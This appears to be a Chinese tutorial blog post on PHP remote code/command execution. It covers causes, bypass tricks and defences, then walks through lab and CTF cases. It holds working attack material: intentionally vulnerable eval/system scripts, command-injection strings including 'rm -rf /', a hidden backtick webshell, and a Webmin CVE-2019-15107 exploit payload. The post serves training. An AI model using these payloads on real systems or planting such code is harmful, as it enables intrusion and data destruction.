网络安全是数字时代的基石,但学习过程中必须严守法律红线。 根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于合法授权的靶场环境(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景。 网络安全学习应以提升防御能力为目标,而非成为攻击工具。
一、RCE漏洞基本概念与原理
RCE(Remote Code/Command Execution)漏洞即远程代码/命令执行漏洞,是Web应用中最严重的安全漏洞之一。这类漏洞允许攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞主要分为两种类型:
这类漏洞的产生通常是由于开发人员使用了能够将字符串作为代码或命令执行的函数,而没有对用户输入进行严格的验证和过滤。常见的漏洞触发点包括:
- 未经验证的用户输入直接拼接系统命令
- 使用不安全的函数(如PHP中的system()、exec()、eval()等)
- 第三方组件或框架中存在未修复的代码执行漏洞
二、RCE漏洞的常见利用方式
1. 主要利用途径
攻击者利用RCE漏洞通常通过以下方式:
- 输入验证缺失:通过构造恶意输入绕过过滤
- 不安全的函数调用:直接使用危险函数处理用户输入
- 命令拼接逻辑错误:未考虑命令分隔符(如;、&&、|等)可能被注入
- 协议解析错误:如Web服务对特定协议处理不当导致代码执行
2. 典型攻击技术
- 命令注入:在合法命令后追加恶意命令(如ping example.com; rm -rf /)
- 代码注入:通过 eval 等函数执行恶意代码
- 环境变量篡改:利用 $IFS 等环境变量绕过过滤
- 通配符利用:使用/???/??t等价于cat /etc/passwd绕过黑名单
- 无回显攻击:通过DNS外带数据或延时盲注验证漏洞存在
3. 常见利用函数
| 命令执行 | system(), exec(), shell_exec(), passthru(), popen() | 直接执行系统命令 |
| 代码执行 | eval(), assert(), create_function(), call_user_func() | 执行PHP代码 |
| 反序列化 | unserialize() | 反序列化漏洞导致代码执行 |
三、RCE漏洞防御措施
1. 代码层防御
- 输入验证:对所有用户输入进行严格验证,限制字符集
- 输出编码:在将用户数据传递给系统命令前进行适当编码
- 禁用危险函数:在php.ini中禁用 system、exec、eval 等函数
- 使用安全API:如PHP中使用 escapeshellarg() 处理参数
2. 系统层防御
- 最小权限原则:应用程序运行时使用最低必要权限
- 及时更新补丁:保持操作系统、框架和第三方组件最新
- 网络隔离:限制不必要的网络访问和端口开放
- 日志监控:记录异常命令执行行为并设置告警
3. 架构设计防御
- 沙箱环境:在隔离环境中执行不可信代码
- 白名单机制:只允许执行预定义的安全命令
- 深度防御:结合 WAF、IDS 等多层防护措施
四、实例–远程代码执行
准备文件 a.php 到PHP study的网站根目录下。代码:
<?php
$code=$_GET['x'];
eval($code);
?>
访问链接,并执行代码 phpinfo();
http://localhost/a.php?x=phpinfo();

执行代码:echo time(); 显示时间戳
http://localhost/a.php?x=echo time();

五、实例–远程命令执行
准备文件 b.php 到PHP study的网站根目录下。代码:
<?php
$code=$_GET['x'];
echo system($code);
?>
执行 cmd 终端命令 dir
http://localhost/b.php?x=dir

执行 cmd 终端命令 regedit 查看注册表

六、案例–公网漏洞利用
网址:墨者学院
前提:需要用手机注册
1、实例–命令注入执行
链接:https://www.mozhe.cn/bug/detail/12
目标:获取mozhe开头的KEY
1.)收集信息
打开靶场,正确输入 127.0.0.1 看什么情况,顺便打开 开发者工具 看有什么有用信息

获取的信息包括:
系统:ubuntu4.14
服务中间件:Apache/2.4.7 (Ubuntu)
编程语言:PHP/5.5.9 即 js 语言
因为只有一个输入框,随便写个命令 : 127.0.0.1 | ls

有提示,但是上次的请求数据都没有变化,所以是前端提示,又是js语言编写的网页,所以,禁用前端 js 。再试,结果不变。需要使用 BurpSuite 抓包工具。
2.)实施
网站输入 127.0.0.1 抓包

红框里的内容是可以改的,发送到 Respeater 。
先将 iipp=127.0.0.1 改为 iipp=127.0.0.1 | ls 然后点击发送

在响应中得到key文件 key_322103160614123.php
继续改请求 iipp=127.0.0.1 | cat<key_322103160614123.php 然后发送

在响应框中得到了 key
2、实例–PHP 代码分析
链接:https://www.mozhe.cn/bug/detail/13
目标:获取mozhe开头的KEY
1.)收集信息
打开靶场,获得以下信息

网页中的代码可交给 ai 看是什么情况
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
代码结构包含三个主要函数:
- base64_decode() 用于解码Base64编码的字符串
- gzinflate() 对经过gzip压缩的数据进行解压缩
- eval() 函数则执行解码解压后的PHP代码
这种eval(gzinflate(base64_decode()))的组合是PHP代码加密的常见手法25。要查看实际代码内容,可以将eval替换为echo,这样就能输出解密后的原始代码而不是执行它。
将以上代码进行更改,并保存到本地 PHP study 的网站根目录下,看运行结果。
<?php
echo(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?>

继续将代码 交给 ai 来看看是怎么回事
echo `$_REQUEST[a]`;; ?>
**代码解释:**
- echo:PHP输出语句,用于显示内容
- 反引号 `:在PHP中执行系统命令的操作符(等同于shell_exec())
- $_REQUEST['a']:获取HTTP请求参数’a’的值(包含GET、POST、COOKIE)
- ;;:两个连续的分号,第一个结束echo语句,第二个是空语句
- ?>:PHP结束标记
至此找到了可以传递参数的变量节点,而且是可以执行Linux命令的地方
2.)实施
将原网站链接中添加参数 http://124.70.64.48:47358/f.php?a=ls

得到了疑似保存 KEY 的文件 key_261112628213739.php
继续更改参数 http://124.70.64.48:47358/f.php?a=cat<key_261112628213739.php
刷新后,查看源代码,获得 KEY

或者刷新前打开 BurpSuite 然后进行抓包,发送到 Repeater 查看响应内容,一样可以找到 KEY

3、实例–远程代码执行
链接:https://www.mozhe.cn/bug/detail/309
目标:获取mozhe开头的KEY
1.)信息收集
打开靶场,获得以下信息

中间件:MiniServ/1.910
MiniServ/1.910是Webmin的版本标识,常用于描述Webmin的特定版本
X-Frame-Options: SAMEORIGIN
响应头,限定页面只能被同源域名嵌套展示,有效防御点击劫持攻击
特别注意:登录框中间有段话,你必须核对以下信息中的IP是否与登录的IP一致
随便输入用户名和密码,使用 BurpSuite 抓包。然而并没有什么卵用。需要回头再看以下靶场信息
背景上说明,该漏洞存在于密码重置页面中!!!
通过网络搜索,MiniServ/1.910 存在漏洞 CVE-2019-15107
CVE-2019-15107 漏洞介绍:
该漏洞源于password_change.cgi文件对old参数缺少充分的输入验证,导致攻击者能够在未授权的情况下执行任意系统命令。
Payload :user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
2.)实施
重新抓包,发送到 Repeater

改包


点击发送看结果

获取了用户名和密码。都是root。
然后继续更改包

发送后获得根目录下的文件,其中就有关键的key.txt

继续修改包,修改后发包

获得 KEY

七、文章总结和心得
1、本文总结
本文围绕RCE(远程代码/命令执行)漏洞展开,系统阐述了其概念、原理、利用方式、防御措施及实际案例。
1. )漏洞基础
RCE漏洞分为远程命令执行和远程代码执行两类,核心成因是开发者对用户输入验证不足,或使用system()、eval()等危险函数,导致攻击者可注入恶意命令或代码。
2. )利用方式
- 主要途径:输入验证缺失、不安全函数调用、命令拼接错误、协议解析漏洞。
- 典型技术:命令注入(如ping example.com; rm -rf /)、代码注入、环境变量篡改(如$IFS绕过过滤)、通配符利用(如/???/??t替代cat)、无回显攻击(DNS外带数据)。
- 常见函数:PHP中system()、exec()等命令执行函数,eval()、unserialize()等代码执行函数。
3.) 防御措施
- 代码层:严格输入验证、输出编码、禁用危险函数(如php.ini中禁用eval)、使用安全API(如escapeshellarg())。
- 系统层:最小权限原则、及时更新补丁、网络隔离、日志监控。
- 架构层:沙箱环境、白名单机制、深度防御(结合WAF、IDS)。
4. )实例与案例
- 本地实验:通过a.php(eval函数)和b.php(system函数)演示远程代码/命令执行,如执行phpinfo()、dir命令。
- 公网漏洞:以命令注入、PHP代码分析、CVE-2019-15107漏洞为例,展示通过BurpSuite抓包、构造Payload获取敏感信息(如KEY文件)的过程。
2、心得
通过本文学习,不仅需掌握RCE漏洞的技术原理,更需建立“攻防结合”的思维,在开发与运维中践行安全最佳实践。
网硕互联帮助中心


评论前必须登录!
注册